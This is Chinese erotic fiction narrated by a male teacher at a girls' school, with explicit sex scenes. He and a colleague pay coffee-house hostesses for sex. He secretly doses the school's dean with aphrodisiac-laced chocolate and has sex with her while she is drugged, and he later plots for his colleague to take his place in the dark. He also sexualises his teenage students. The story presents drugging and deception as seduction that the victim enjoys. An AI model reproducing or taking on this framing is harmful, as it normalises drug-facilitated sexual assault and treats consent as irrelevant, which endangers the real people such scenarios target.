热门搜索


情欲高涨(完)

  初秋的天气,气温已不似夏天那麽闷热了。再加上窗外正下着大雨,叫人有一股凉爽清醒的感觉,我 穿了条白短裤,手夹着一根香烟,屈着双腿躺在床上,眼望着窗外,看那雨点由天空落下,怔怔出神。
心想:来这所女校也已经一年了,据闻这所学校的校长,向来不用年青的男教员的,也不知为了什麽,这次却破例的请了我和冯位真,我担任了高三乙组的导师,并上她们的英文课,老王是高三甲组的导师和数学教员,我们两个的受聘本校,实在大出学生们的料想之外。
「老李老师,我们的『修女校长』从来不请年青的男老师的,真奇怪这次会请你和冯老师。」
刚来这所学校时,某一天一位同学这样问我。
校长不聘请年青的男老师,她老人家的用心我不难可以想到,但是十八九岁的女孩子正是情窦初开的时节,听说本校学生,大半都有男朋友呢。就说我班上的李文冷和珍珠两个来说,留着一个赫木头,成天嚼着口香糖,穿了大的白色服装时,胸前两团肉球可真不小,尤其走起路来也不知是天生或是故意,一个肥大的屁股一扭一摆的,真叫人眼睛喷出火来,看她们身体的发育情形,我相信她们定被男朋友整过了。
「咚咚咚!」
由门外传来了豪门的咚咚声。
「谁呀?」
「老李是我呀。」
「门没锁进来吧。」
开打开来,接着老王跟着进来。
「干嘛,我以为你去加啡馆了呢,对了,咖啡馆的那个叫秀秀的近来怎样了?」
我递了根香烟给老王,一面向他追问。
「还说哪,这种鬼天气,看来今天的大好周末要花在这间无聊的宿舍了。」
老王接了我的香烟,划了根火柴,吸了一口说道。
天色渐渐的暗了,我和他两人到学校的伙食团吃罢了晚饭,老王回到他的房间去,我一人则仍旧眺望着窗外的雨景,怔怔出神......
「老李,走吧,无聊泡咖啡馆去。」
老王换了一身出门的服装,嘴里衔着根烟,踏进了我的房间。
「怎麽?这种天气真的要出去?外面下着雨哪!」
「外点换换衣服,找秀秀温存温存去。」
「走就走,反正没事干。」
我们先到事务处打电话叫辆计程车。
计程车在我们的目的地停了下来,付了车资,两人步上了咖啡馆的台阶。
「你娘的,别诱惑!」
老王望着那写着「红叶咖啡厅」和一个俏媚的霓虹灯,低骂了一声。
和老王两人迳上了三楼的火车座,侍者随即前来侍候。
我要了杯牛你咖啡,老王要了杯咖啡。
「叫秀秀和玉倩来。」
一会儿一股香味扑进了鼻孔,两个人影挤上了我们的座位。
灯光很暗几乎伸手不见五指,我觉得有个柔软如棉的身体贴上了我。
「是玉倩吗?」
「唔 看你好久都不来找我了,害人家想死你了。」
好重的鼻音,真是的,先来一记迷汤,等下好叫你花得大方,这种欢场女人是有一套。
「真的想死了我?」
「嗯......」
整个身上缠上了我,一张嘴巴在我耳边摩擦,我的手臂不觉碰了一团柔软的肉球。
「哼......」
玉倩娇柔的哼了一声。
「不嘛!你坏死了,嘻!」
是秀秀的低迷声。
对面的老王这时可猜的到,正施展他的绝技,使秀秀......
「你不要偏要,来一个......」
是老王的声音,夹着微微的气喘。
「唔......唔......」
接着是一片沈寂。
我和玉倩两人互相拥抱着,我觉得她体热如火,鼻中咻咻的喘,我奇怪她今天怎麽会这样?
「怎麽了?忍不住呀?我试试看。」
我说着抄起了她的裙子,直探她的神秘地带,隔着条薄薄的内裤,尽情的抚摸按揉着。
「嗯...... 唔...... 讨厌......」
玉倩扭着她的腰,不胜痛快的模样。
「怎麽都湿了?」
「还不是你这死东西害人。」
「我害你?我什麽东西害你?」
「都是你这个东西害人。」
在没提防下,她猛的握着我的那个......直握得把持不住。
「走好吗?到房间去!」
玉倩贴着我的身旁娇声的十分淫荡的说。
「嗯!」
我挽着她,两人向房间走去。
房间的面积虽小,但是一切的布置却很豪华,法兰西床,上面舒着雪白的床单,粉红色的壁板,端的是考究非凡。
玉倩扭熄了房内的日光灯,只留着床头的一昏黄的小灯,射出矮高的光线来,气氛是如此的柔和。
我抱着玉倩的身体,四片嘴唇密密的吻着,把个舌头在她嘴内翻搅着,我实在忍不住了......
好久好久我们两人才分了开来。
「快点脱你的衣服」
我一面向玉倩说,一面脱衣裤,只留了一条短内裤,而玉倩此时也脱得 留下一件胸罩,和一条三角裤。
我望着玉倩这动人的曲线,娇媚淫荡的神态,胯下之物不禁一挺。
「老李,抱紧人家嘛。」
她眯着眼睛,娇柔无力的说。
我猛的一把抱住她,倒向了法兰西床上,胯下之物紧紧的抵着她的三角裤,以最快速脱掉了她的胸罩,顿时两个丰满肥大柔软无比的乳房呈现在我眼前,那深深的乳沟,及红色的乳头......
把嘴凑上她的乳头,一手揉捏另一个乳头,另一手则伸入内裤内,探向丛林地带,用牙咬着她的乳头,再微微的拨起,玩弄着她神秘地区的手则直推入那已泛滥的阴户内捣、捏......
「老李......我......」
一股浪水由阴户深处流了出来。
她亦伸出玉手来握住我那根业已直立的东西,不停的套弄,一阵快感险被她套弄精,连忙沈心静气,才没被她套出精来。
飞快的除下了她的三角裤和自己的内裤,两人精光光的相见,准备来一场大肉战。
用手指着她那已发硬的阴核,一阵揉动,只见玉倩她全身一阵,一股老李水又流了出来。
「老李,快......别逗我了......」
我挺直了鸡巴对准阴户,她连忙把腿张得开开的露出她那个小穴洞来,两片腿厚黑红红的阴唇正一张一合着,她用手握着我的鸡巴,引导着它,我顺着她的引导,屁股就一用力,一个鸡巴没进了三分之一,一个龟头可以感觉到被紧紧的肉壁圈围着。
里面竟像小孩吃你似的,一张一吸。
她一双玉腿自动的圈上我的屁股来,双手把我一抱,低迷的说:
「好人......快进......用力......」
一面更把臀部迫凑上来,一下又插进了二寸多。
「玉倩,你怎麽这麽骚?好久没给男人干了是不是?」
我说着,把鸡巴顶着她的阴核直揉,揉得她抖颤不止。
「老李,快用力抽送......小老子,你真逗死人......」
看她淫荡的模样本能的激起了我已高涨的欲火,再说鸡巴塞在她的穴内,不抽送也不好玩,就开始工作了起来。
「唔......哥,你好狠心......这下要干......死人了......哟......这下相吻了......」
当我的鸡巴在抽插时,无意间碰到她的核儿,引起她的快感,使她疯狂的叫了起来。
「不狠心来讨饶,今天我要好好收拾你这骚娘们。」
说着,我又提起气来直抽插入,有时在她的阴户外打转,在她不注意时又重重的插,每每使她抖颤不停。
「哥......你真行......停停......让妹妹喘口气......今天我死了......这下......」
「死了活该,你这浪荡妇,凭上帝生了你这个小洞就要害死天下男人,今天我非插坏你这骚穴洞。」
不管她死活,我像只发了疯的猛虎,疯狂的在她的穴上做人生的播种工作......。
「喔......停停......你这麽狠心......哟......你要插破......妹妹的小洞......喔......我丢了。」
说着她打个寒颤,下身拼命的向上挺,圈屁股上的两条腿紧缩猛收,她阴道内深处冒出了一股炽热的阴精来,直流在我的龟头上,四壁的内圈不断收缩,把我那东西圈住,两腿也无力的放了下来,两手也软弱的放在床上,胸部也一起一伏,张着樱桃小嘴喘着气......
「你这麽快就完了?我可还没。」
接着又是一阵急抽猛入,下下顶到根,两片阴唇随着抽插也一厥一翻,精水被带了出来,为了让她知道厉害,忙出急顶入,一下比一下重,终於她在我疯狂的进攻下醒了过来。
「哥,并才你好厉害,差点让我上天了。......重点没关系......这下过瘾了......」
她的屁股又渐渐的扭转起来,迎合着我的攻势。
好个贱货,刚丢了现在又兴起了。
我紧紧的抱住她的腰,用上暗劲贯注肉棒,猛力的抽插。
「哥...... 好丈夫...... 妹妹...... 你都这麽重...... 要命的东西......你的本事真大......」
「喔呀...... 妹妹又流了...... 妹妹要死了...... 哥哥...... 休息一会...... 吧......」
「亲哥...... 真的又出来了......死了......」
我理会我这会已气喘如牛,我 知道要尽力的猛抽狠插,直插到她叫饶,她死去......
「哥......你......」
她屁股的迎凑已经渐渐的慢了,口中也说不出清楚的话了, 是张着嘴唇喘着气。
再经过十多分钟的横冲猛刺,她的屁股不再扭转了,全身软弱的躺在床上,口中唔唔出声......
「喔...... 唔......死了......」
一动也不动了,又是一股荡热的阴精冒了出来,里面又再不断的吸着我的龟头,层层的浪肉紧紧的圈围住我的整根鸡巴,我感到屁股沟一酸,我知道要丢了,连忙加紧抽插......
「呼......天......」
我 觉得我的鸡巴发涨,龟头射出了股精液。
「喔...... 你的好烫......」
玉倩被我一烫,紧搂着我,我也紧紧的拥抱她,细细领略刚刚的滋味,一根鸡巴也舍不得拨出来。
好半响,我们才醒了过来。
「玉倩,你刚才好骚......」
我轻轻的揉着她的两个乳房说。
「骚?都是你这个死东西。」
她说着,用手拍打我那根已滑出她穴内的鸡巴。
「你听隔壁!」
我轻搂着玉倩,示意她别讲话,听隔壁的声响。
「死相,每次都这样。」
是女的声音。
「嘻嘻,没关系嘛,来,看湿了还说不要。」
这次是男的声音,我一听就知道是老王,女的是秀秀了。
「还不快点把你那只手拿开。」
是秀秀的声音。
「那你就答应我。」
是老王的声音。
「不要嘛...... 饶我一次,下次答应你。」
「你又来了......」
「不...... 吃不消...... 每次你都......」
他在她三角地区,这时渐渐的......
老王这时又说了:
「乖乖,你看,这麽硬,我涨的好难受,你就给我消消火吧。」
「每次都给你消消火,事後每次都叫我躺个三五天。」
「来吧,这次一定不会,快点......」
「唔......」
「把腿张开点,在那里?」
「死鬼,自己不找,这麽猴急?」
只听「滋」的一声。
「哟!这麽凶。」
「小声点,干嘛大声乱叫。」
「哼,要干死人了......」
接着是短短的静寂,间只有断断续续的喘急声......
「哟......死了,这下......」
是秀秀的娇啼声,夹着微微的气喘。
「别舒服装痛苦,我不吃你这套。」
「你这死鬼,谁装痛苦?遇到你这大鸡巴真倒霉。」
「遇到我这大鸡巴倒霉?看你等一下要大喊亲哥哥呢。」
「才不呢,哟......死人,每次都这麽重......」
「你要死了......要就快点......不要尽往那粒......磨......快点嘛......」
「刚才还不要,现在就尽催快。」
「谁叫你......快点,就像这样......我流了......」
「别尽流骚水,快把功夫施展出来。」
「唔......」
「对了,再用力夹。」
「哥,舒服吗?」
「还好,你这骚洞就是这麽可爱。」
「不来了,谁骚嘛?哟......你这下......顶到人家......的小腹了......又顶上去了......」
「死东西,我又流...... 流出来了......」
「干嘛,怎的尽流骚水?」
「你坏,人就禁不住嘛,哟......」
「我看你定是好久没给男人插了是吗?」
「去你的,哥...... 快点...... 再用力点...... 这下要顶破...... 妹妹的花心了...... 」
「唔...... 冤家,轻点,你的...... 大东西,这下...... 要顶死我了, 这下太重了......」
「喔...... 我的亲...... 哥哥...... 我不敢了...... 你饶了我吧......你今晚...... 预备把我...... 干死啊...... 我的...... 嗳哟...... 我的花心真的破了......重点......」
听秀秀的声音愈来愈微弱了,口内哼出快美的乐章。
「没骗你吧,刚才就是不要,现在舍不得了吧?好好的把你的腿张开,好处在後头呢。」
「哥......我真的不行了......我丢了......」
「你丢了就好好的躺着,让我......」
......
......
又是一段沈寂......
「哥,刚才真好!」
「你好,我还没好。」
「真的,刚才差点连骨头都被你拆散了,你怎麽这麽......久还不出来......又顶上了。」
「你别自己过足了瘾就不管我了。」
「哟......我是不行了,不能再把我引出水来......喔......又出来了......都是你这死人......」
「嗳呀...... 真的我又...... 快动...... 今晚我真...... 会死定了,这下...... 真好......」
「嗳...... 妹妹这下好美了...... 妹妹的小穴被你干开花了...... 我亲爱的哥哟......」
「喔...... 又顶到了...... 妹妹的花心了...... 你真的要干死我了......好哥哥...... 快停停...... 妹妹又要被...... 你干死了...... 我真的......又要丢...... 丢了......」
「快点,你用力夹,我也要出来了......」
「快夹,我也丢......丢给你......」
「喔...... 哥,你的好烫......」
一切的一切终归於沈寂,这时我被老王和秀秀,他们的这场肉搏,引得我欲火难耐。
「玉倩,我又......」
「又要干什麽我知道,这个嘛?」
玉倩说着左手册手指圈了一个小圆圈圈,用右手的食指插抽着左手的圆圈圈里。
「小淫娃。」
我不禁骂了她一声。
「不行了,刚才我丢得太多了。」
「不行?我可不能让你不行。」
我说着伸出手去探她的丛林处,在那上面抚摸,只见玉倩被我摸得全身起了不安的抖颤。
「不行就是......嘿......」
我把放在她阴户的手,微微抚摸她的阴毛。
「你的毛真多,人家说毛多的人,性欲也强盛,看来没错,像你这麽的生龙活虎。」
「去你的,还不是被你们挑起来的,男人每个都是色鬼。」
「别谈这些了,开点,这样弄不进去......」
「告诉你说不行。」
「你不行我偏行。」
「嗯...... 别揉嘛。」
「不......答......应......」
「好......你不答应......」
「砰!砰!」
一阵敲门声。
原来老王他已完事了,准备回家,我正在兴头上真是讨厌,奈何我们是有难同当,有福同享,只得起来了。
「骚娘们,算便宜你了。」
「我在她的阴户上重重的打了一下。」
「哟!看你真讨厌,打这麽重」
穿妥了衣服,丢两百元给玉倩,算是我给她的酬劳。
踏出了「红叶咖啡馆」的门口,秀秀早已叫辆计程车在等我们,计程车急驰而去,我望望渐渐远去的「红叶咖啡馆」的女郎霓虹灯广告中也不禁低骂了声......
「你娘的,别诱惑!」
________________________________________
昨晚和老王回来後也懒得去洗个澡,倒下身来便呼呼大睡,直睡到近午才被那刺眼的阳光弄醒。窗外的一些树木被昨夜的一场大雨。洗得清新而可爱,那饶舌的麻雀已在那屋角、树上面吱吱地叫个不停,心想:这该是个好天气吧!窗外的云散得很快。
匆匆的刷洗完毕,到老王的房间一看,房门还紧紧关着,心想:你这老色鬼,昨晚一定太累了。
他还睡他的懒觉,我可不去管他,我还有一大堆的作业还没改呢,我就走到办公室去了。
踏进了办公室,就看到了被学生称为「冷面修女」的训导主任,正翘着玉腿在看报纸。
「主任早!」
我向她点点头道声早,说得脸就红了,这句话到底不是时候,这时已经将近中午了。
「早!」
她 简短的说了声早,声音是那麽的冷峻,平常她在人面前,总是板着那付冷冰冰的脸,就是在我们老师面前也没好脸色,一付冷若冰霜的模样,叫人看了可怕,我真奇怪像她这麽的年青,看来顶多大我个七八岁,三十四五岁的人,怎麽个性如此?或者是还没结婚的变态心理吧?我常如此想。再说她为何到现在还迟迟不结婚呢?这真是个难解的迷,脸是如此的美好,身段又是如此的丰满适中,修长的大腿,雪白的皮肤,一切的一切是这麽的引人,说真的,她那胸前的两个丰满高耸的乳房,实在引我想入非非,我想 要在她高耸的胸部上轻轻的摸一下,就 轻轻一下,那我死而无怨......
收起我那缕歪邪的思想,勉强镇定精神,摊开了薄子来改作业,但总不能十分全神贯注的...... 偶尔总会看看她正面对我的 一双雪白修长的大腿。
正当我看得出神想得浑浑然的时候,她开口了:
「老李老师,『汤姆琼斯』这片子你觉得怎样?」
声音这下却变得清脆悦耳,有如黄莺出谷,而且嘴唇边还现着两个酒涡,对我微微一笑。
「唔...... 是真的不错,『延平』不是正在上演吗?」
「嗯...... 老李老师你看了没?我想今晚去看。」
好呀,你这下真绝,女人的心,我会不知道:
「嗳!主任,我也预备今晚去看,怎样?今晚一块去?」
「也好,八点延平前面见。」
说着她丢下了报纸片起来,摇摆着她的肥大屁股走出办公室,望着她那骚浪劲儿,再也无心改作业了,丢下了作业薄,哼着轻快的调子,踏着轻快的步伐,回到房间准备晚上的「约会」了。
________________________________________
今天她穿了一袭紧身旗袍,叉子开到离大腿顶处,望着那若有若无的大腿实在不舒服,尤其是那阵阵的夜风吹来时,微微的掀起了旗袍的一角,更是惹眼,胸前的乳房有呼之欲出之概。
「李主任,你今晚真漂亮。」
「那里的话,叫我翠绫好了。」
「这不对,那显得没礼貌了。」
「老李老师真会说笑,何必这麽拘束呢。」
「好好,李主...... 不,翠绫,尝尝这日本巧克力,滋味不错。」
我给了她这两块「巧克力糖」,这巧克力糖可不是市面上所卖的那种,而是我托我日本的朋友寄来的,这要是给女人吃了,就算是三真九烈的妇女,也要她眼荡春波,乖乖的脱下裤子来。
「谢谢你了,老李老师滋味不错呢。」
心想:
「你知道老李老师滋味不错就好了,等下更妙呢。」
上演的是片好片子,情节是处处引人,当电影的银幕上上演到热烈肉麻的镜头时:
「老李老师,我......热......」
翠绫她整个人渐渐靠上我,口中吐气如兰,两个乳房随着她急促的呼吸上下波动起伏,我知道这时那两粒巧克力已渐渐发挥效用,我把圈在她腰部的右手缓缓的上移,渐渐移到那突起的地方,我在那突起地方细细的抚按,细细体味个中滋味,我终日的愿望,看来今晚要达到了。
这时翠绫不安的扭动着,两只玉腿叠得紧紧的,但却不时的凭空乱踢,像是极力的忍受着莫大的痛苦,贴放在我的脸烫热如火,从那电影的微弱光线,我看她这时脸带桃红,一张樱桃小嘴嗯哼出声,由於怕邻座的人发觉,极力的忍耐,因之宛如呻吟。
「老李......我难受......回家......」
我查觉出这时巧克力糖的效力正发挥到极点,深恐等下药力消失,因此也急於回宿舍。
「好,那就走吧。」
「我...... 无力...... 」
在我半扶半拥之下走出戏院,随手叫了辆计程车,驶回学校宿舍来。
我扶拥着她进入她的宿舍,服侍她躺在床上:
「李主任,你或许是身体不舒服,静静的歇着吧,明天要再不适,那我帮你请假好了。」
我说着,「预备」走出她的房间。
「老李先生...... 你...... 不要...... 」
当我正要走出房门时,她开口说话了。
「什麽事,还有什麽需要我的地方吗?」
「老李...... 我热嘛......替我脱下...... 旗袍...... 」
心想,嘿嘿......,这下又有好戏可看了。
我趋上前去坐在床沿上,替她解下旗袍来,当我把她的拉练拉开来,显出了一大遍雪白的皮肤来, 这时我真要...... 好不容易把她身上的旗袍脱了下来,只见她 留下一副你罩,和一条白色的三角裤,雪白的三角裤,这时却有了污点,大腿根处一片湿腻。
她的全身都是雪白,细嫩无比,三围的尺寸更是标准,上帝把世上所有的美都集中在她的身上了。
「唔...... 喔...... 」
她像是极热难当,自己又把乳罩脱了下来,雪白的酥胸上长了两粒红色的小樱桃,是那麽的娇小可爱,樱桃粒的周围是一层粉红色,雪白的胸部上可以看出长着浓密的细毛,金黄色的。
「嗯...... 老李...... 我...... 」
她闭着媚眼,嘴中唔唔出声,一双修长的大腿大开着,小腹上下左右的摇动,那湿腻处此时更大了。
「老李......脱下你的......衣服......我难受......热......我要你......」
我听着她说的,很快的脱掉了身上所有的衣服,因为这时我再也受不了这春色的引诱了。
「把你的三角裤脱下,你看湿了一大片。」
「唔...... 」
她也弓着腿,把那条三角裤脱下。
我扑上床把她抱住,猛的吻住她的香唇,不停的吸吮......
「喔...... 唔...... 」
时间的长久,使她几乎透不过气来,发出唔唔的声音。
我把手在她身上的每一个地方恣意的抚摸着,突的地方捏一下,凹的地方摸一把,直摸得她抖颤起来。
「唔......老李......我要你......你下面那根...... 插我...... 我里面好痒...... 」
我把那根早已硬涨的东西,在她的小腹挺了几下子,她就用双腿猛的夹紧了我的鸡巴。
「老李...... 你的鸡巴...... 好烫...... 」
我的鸡巴被她夹得好舒服,禁不住一阵冲动。
「来,快放开,我要插你了。」
她一听,连忙把腿张得大大的,阴户正泊泊的流着淫水,此时我可以清清楚楚的看见她的小穴。
她的阴户生得很低,两片阴唇特别肥大,因为多肉的关系,阴户高高的隆起,很浓厚的阴毛长满了四周,阴毛虽茂盛但是却细柔光滑可爱,她的阴门很小,阴门内的肉壁红红的,略可看到那粒核仁般大小的阴核,那股淫水也随着她一张一合的阴门排泄出来......
「你的生这麽低不好弄,把你的腿盘在我的腰上。」
我轻轻的拍打她肥大的屁股。
「打小力一点嘛,这样行不行...... 」
她把两腿盘在我的腰上,那个小洞洞更加突出。
我挺着发涨的鸡巴,向她已泛滥的阴户直冲,奈何心急越是不行,好久好久没有插进去。
「你帮帮忙嘛。」
由她的引导,我的鸡巴很顺利的插了进去。
「喔...... 唔...... 」
没费多大力气,我的鸡巴已整个插入了,我发觉她已不是处女了,因为她不但不痛,反而有无上的舒服。
「喔!美死了...... 」
因为淫水的润滑,所以我抽插一点也不费力,抽插间肉与肉的磨碰声和淫水的唧唧声,成了疯狂的乐章。
「老李......美死了......快点抽送......喔...... 这下差点...... 喔......唔......」
我不断的在她的酥胸上打转,最後张开嘴把她的乳头吸吮着,不断在她的乳头上打转。
「嗳哟......老李...... 你别吮了...... 我受不了...... 下面...... 快抽快...... 我要死了...... 」
我看她快疯了,我不管她 顾吮着她的乳头,下面的鸡巴紧紧的抵住了 她已发硬的阴核。
「喔...... 好烫、好麻...... 你快抽插......嗳......我难过死了......」
我看她是骚浪的可以,平日不苟言笑,冷若冰霜的她,这时竟服服贴贴的屈在我的鸡巴下。
「好个李主任,你骚,我要抽送了,你准备好。」
说完,我的屁股一上一下,如奔马,如迅雷,下下着实,我直抽插得她骚浪的直叫,一张屁股疯狂的扭转,我觉得她的穴内深处似有股力量,吸吮着我的鸡巴,使我十分的舒服。
「嗳哟......美死人......害人......你真干死我......我被你插得......这下太好了......」
我把我的鸡巴继续不停的上下抽送起来,直抽直入,她的屁股上逢下迎的配合着我的动作,淫水如决堤的河水,不断的从她的穴门深处流出,一直不停的流到床上。
「嗳...... 老李...... 好了...... 慢一点...... 太太...... 重了...... 不要...... 太狠了...... 」
浪水又随着我鸡巴的抽插带了出来。
「李主任,你的水真多...... 又出来了...... 」
「唔......这不是你的东西......逗得人家......发浪......哟!轻点......这下太重了...... 」
俨如一头勤耕的老牛,不停的继续我的抽送动作,浅浅深深,又翻又觉,斜抽直入,她的两片大阴唇随着我的抽插翻翻吐吐,她的两片肥厚阴唇就往外翻。内壁的肉红红的,入时两片肉也跟着进去,整个阴户简直变了形,直把她入得死去活来,满床乱转。
「嗳哟...... 老李...... 你真狠呀...... 我的小浪穴没命了...... 这下要被你插死了...... 以後不敢再浪了...... 真的...... 我以後真的...... 不敢了...... 」
「李主任,你以前挨过男人的鸡巴吗?」
「唔! 有一次而已,呼!这下真...... 好。」
「只有一次?那你的穴门怎麽不像处女那麽紧缩?」
「真的 ...... 有一次...... 是被大学的男朋友...... 弄的, 当时 感到很痛苦, 事後却...... 却觉得还不够...... 只是他马上丢了...... 你们男人真不是好东西。」
「谁说男人不是好东西,你看我这根不仅是好东西,还是宝贝呢。」
「哟...... 好人儿,亲哥,快别...... 饶了我...... 」
「既然 被男人弄一次,怎麽这样呢?」
「可能在我想像的时候,自己弄宽的...... 」
「你自己怎麽弄?」
「把......手指伸进去,不停的捣,不时的扣,往那粒阴核上扣,这时我可就丢了,丢了时,全身都会抖颤...... 」
「 是每次......事完後,都感到空虚......不像现在的充实,你顶到那......阴核了。」
我的龟头在那子宫口磨转,磨的她打了个颤。
「哟...... 好人,别磨了...... 」
我的鸡巴用力的塞入,再把鸡巴在她子宫口用力直顶、直磨、直转三样功夫,直弄的她不知是酸是麻还是疼。
「喔......你要干死人了......老李......别再......用力了......我的穴要裂了...... 」
「大鸡巴的...... 老李, 人家下面...... 要被你涨死了...... 唔喔!这下又顶到...... 那粒了, 你把我干死算了, 痛...... 快停停...... 我不能再动了...... 唔, 真的不能再干了...... 我不行了...... 我要丢了...... 哟! 死了...... 」
我看她真的不曾被人如此干法,这下可真要她死去活来,我 觉一股烫热的阴精向我的龟头射来,在她泄完後,阴户内子宫口还把我整个龟头包了起来,俨如小孩吮你,一吸一吮的,我只觉得全身一阵舒畅,三万六千个毛孔全开了花,脊骨一麻,我再也忍耐不住了......
「李主任...... 翠绫...... 我也不行了...... 」
射精的关系,我的鸡巴一挺再挺的,一连几下都触到她的阴户,乐得她紧紧的缠住了我。
「老李...... 文山,你的真厉害...... 唔...... 」
「翠绫,你的穴也真灵活,我不曾遇见过。」
「真的吗?」
「睡吧!时间不早了。」
「晚安,我还是回我房间比较妥当。」
「晚安了。」
我拖着疲累的身子走向我的房间去......
一夜沈睡到天明。
早上朝会时,在操场上和她碰了面,她看到我时,一张绞好美丽的脸涨得通红,微微一笑,可是当她步上升旗台时的那个严肃样,简直使人不相信她脱了裤子的骚浪劲儿。
想着:昨夜和她那场颠鸾倒凤的事,真是回味无穷,尤其是她那个会吃鸡巴的小洞儿......。
今天的三堂课也不知怎麽向学生们上的,终日满脑子 是她的影子,脱裤子的样子,骚浪的媚态及长满黑色阴毛的两片......阴唇,心中决定晚上再干她个一场......
「老李你怎麽搞的,今天一整天见你神不守舍的样子。」
老王可真是有心人,见我举止反常便问我。
「喔?老王你不知道...... 『冷面修女』她...... 」
「她怎麽了?」
「昨晚她和我...... 」
「好呀, 老李你真有一手,昨晚你把她搞了?想不到被你捷足先登了, 哈哈...... 」
我和他进这学校的第一天,从第一眼看到翠绫後,我们便同时有非非之想,我们互赌看谁会先搭上线。
「嗯!老王,她可真骚,怎麽样要不要尝尝?」
「他妈的,你尝够了是不是?怎麽会不想?」
「要想试试, 就把你的耳朵靠过来,我告诉你...... 就这麽办,晚上你就有顿好的了,哈哈!」
「哈哈!」
老王走开去上他的数学课。
降完旗,老师们陆续回去,我故意留在办公室看报纸,当整个办公室 有我和她时,我向她走了过去:
「李主任!」
「什麽事?老李老师。」
她头也不回把身体靠在桌子上,整理这桌上的一些文稿,因此把整个臀部露了出来。
「李主任,我...... 」
我将身体挨上她,把鸡巴隔着裤子对着她的屁股顶了顶:
「李主任,晚上八点到我房间来。」
我故意把鸡巴更用力的顶了两下。
「嗯...... 」
她身体起着轻微的抖颤。
「再见,李主任。」
我用手轻轻的在她的屁股上打了一下。
「再见!」
她仍整理着她桌上的文稿。
________________________________________
时间在等待中似乎过的特别慢,好不容易才盼到天黑,我看看时间才七点四十分,真要命,还要等二十分钟,我已经都准备好了,就等冷面修女来再尝尝她骚浪的滋味。
穷等的滋味不好受,乾脆到老王的房间,一进去看他正在闭目养神:
「老王,等下你在我房门口等,当我出来的时候,你把电灯关掉,然後......你知道吗?」
我拍着他的肩说道。
老王张开眼睛,朝我裂嘴一笑:
「知道了,这还会忘记,干嘛这麽急, 穿条内裤。」
「穿简单点,等会好行事,嗳,还剩下五分钟,我回我房间去,等她进了我房间後,你就在门外等等。」
说着我连忙回我房间去。
刚坐下不久,就听到了「咚咚」敲门声。
「谁呀?」
「是我。」
是冷面修女的声音,很小声。
「快进来,等下被人看见了,门没锁。」
她进房了,全身披了件宽宽的睡衣,质料很细可看见里面的胴体,头发还没全乾。
我马上扑上前,将她拥入怀里,一阵猛吻。
「唔...... 不要,人家...... 嗯...... 不要...... 」
起先她还一面推拒着,可是她怎抵得住我猛烈的攻势,终於她全身紧紧缠住了我,并紧紧的反吻着我。
我的一双手伸进她的睡衣内,在她滑润的背脊上抚摸、搜索,慢慢的滑向那丰满的屁股......
隔着三角裤,我在她屁股沟重重的搔了下:
「嗯...... 唔...... 」
她把屁股扭了一下,将她的小腹顶紧我,恰好鸡巴正抵着她的阴户,我故意向前一顶:
「唔...... 唔...... 你坏...... 」
我轻轻推开她紧缠着我的身体:
「快点脱下你身上的衣服。」
「不...... 要...... 」
「为什麽?」
「你看着人家。」
我真是啼笑皆非,昨晚一个人都被我看过了,现在竟不敢当着我脱裤子,女人真是奇怪的东西。
「那我把眼睛闭上好了。」
「不,你会偷看。」
「那我背对着你好了。」
说着我转过身去:
「快点脱啊!」
「嗯...... 不准转过来。」
「你放心,尽管快点脱。」
「好了没有?」
过了一段时间,还没听见动静,我不耐的问道:
「脱条裤子也花这麽久时间,来,我帮你脱好了。」
「不行,不行,不可以转过来。」
又过了一段时间,没听她说好,实在忍不住了,也不管她脱好没,猛的转过身去,这一下一看我快气疯了,原来她早已脱好,把睡衣、你罩、三角裤搁在我刚才坐的那桌椅子上,她却用我的被单,包围着她的身体,睡在我的床上,还不断的对我抛媚眼。
「好呀,你脱好衣服,自管躺着休息,害我等着。」
「嘻嘻,这是大姐罚小弟刚刚的不老实。」
她一阵浪笑,这浪笑声撩人已极。
「等下小弟再向大姐赔不是。」
「你用什麽向我赔不是?磕头?」
「用这个。」
我脱下了内裤,指着已经硬涨的鸡巴。
「去你的,死相。」
她做势要爬起来捶我,因此使盖在她身上的被单滑了下来,露出半个乳房来。
「嗳哟!」
她一声惊叫,两手护在胸前。
「哟什麽?」
我扯着被单的一角,用力把被单从她身上扯下来,顿时一只待宰的白羊呈现在我眼前。
丰满洁白的胴体,高高耸起的双峰,一个浑圆修长的玉腿,黑毛四布在她的阴户上,微微的可以看出一条约寸许的红润裂缝,处处充份表现着性感的美,处处使我热血沸腾,欲火高涨,她不胜娇羞的用双手遮着粉脸,我靠在床边藉灯光好好的看清她,两眼扫视着她全身的每一个性感部位,最後,我把眼睛停在那条寸许长的裂缝......
她的两片阴唇紧紧的合着,我把她的腿打开,她的那条裂缝也开了口,微微的露出了个小洞,洞内的深处潮湿湿的,我曲下腰用手指轻轻的按在她娇滴滴软绵绵的阴户上。
她浑身猛一抖索,从鼻内发出声颤抖的呻吟。
我轻轻在她的阴毛上抚摸,渐渐的我把手指放进去,或在阴核上挑弄,或把她的阴唇翻来翻去......
她又是阵轻微颤抖的呻吟,浑身不安的扭动几下,把个肥大的屁股拼命地向下缩。
可是她不缩还好,这一缩使阴户高了不少,使手指又入了几分。
「嗳哟...... 你干嘛?人家难过...... 下面...... 」
我又在她阴道内捣几下,直捣得她屁股又扭又转,我愈捣愈觉得有趣,那娇滴滴的阴户被我一阵捣弄,不一会便起了变化,只觉得愈捣愈滑润,渐渐一股亮晶晶的淫水流了出来。
这时她浑身不停的乱抖,眉眼紧紧皱着,鼻子不断发出呻吟,粉首不停的乱摆满头乌丝,凌乱的散在枕头上。
「哟...... 你是要整死我了...... 快点用...... 用你的...... 下面痒又酸...... 好人...... 我吃不消...... 」
声音是这样的低微。
我看她这可怜样,抽出了在她阴户玩弄的手,爬上床去扶正鸡巴,对着她湿淋淋的阴户:
「快扶正它。」
她连忙用手握着我的鸡巴,用另一只弄开她的阴唇,引导着我的鸡巴,把屁股挺得好高。
我屁股一压,整个鸡巴连根而没:
「嗳哟!美死我了...... 」
我的鸡巴一进她的阴户後,顿觉如进一座蒸笼内,感到非常的烫热,她的阴户深处又像小孩吮你似的直吮我的龟头,使我感到莫大的快感,不觉停了下来细领那个中之味:
「快点...... 人家要你动嘛...... 」
经她这一催,我又想起老王正在门外焦急的等着,所以我连忙的一阵抽插,想草草完结此事......
「嗳哟...... 这下这麽重...... 哼...... 又这麽重...... 嗳...... 你要插破我的小穴呀...... 」
「好人儿...... 我受不住了...... 」
「慢点...... 真的吃不消了...... 」
她嘴里直叫受不住,吃不消,可是一张屁股又更用力的向上直挺。
「亲亲你的好大...... 你真会干...... 」
「这哟...... 饶饶吧...... 死人求你...... 」
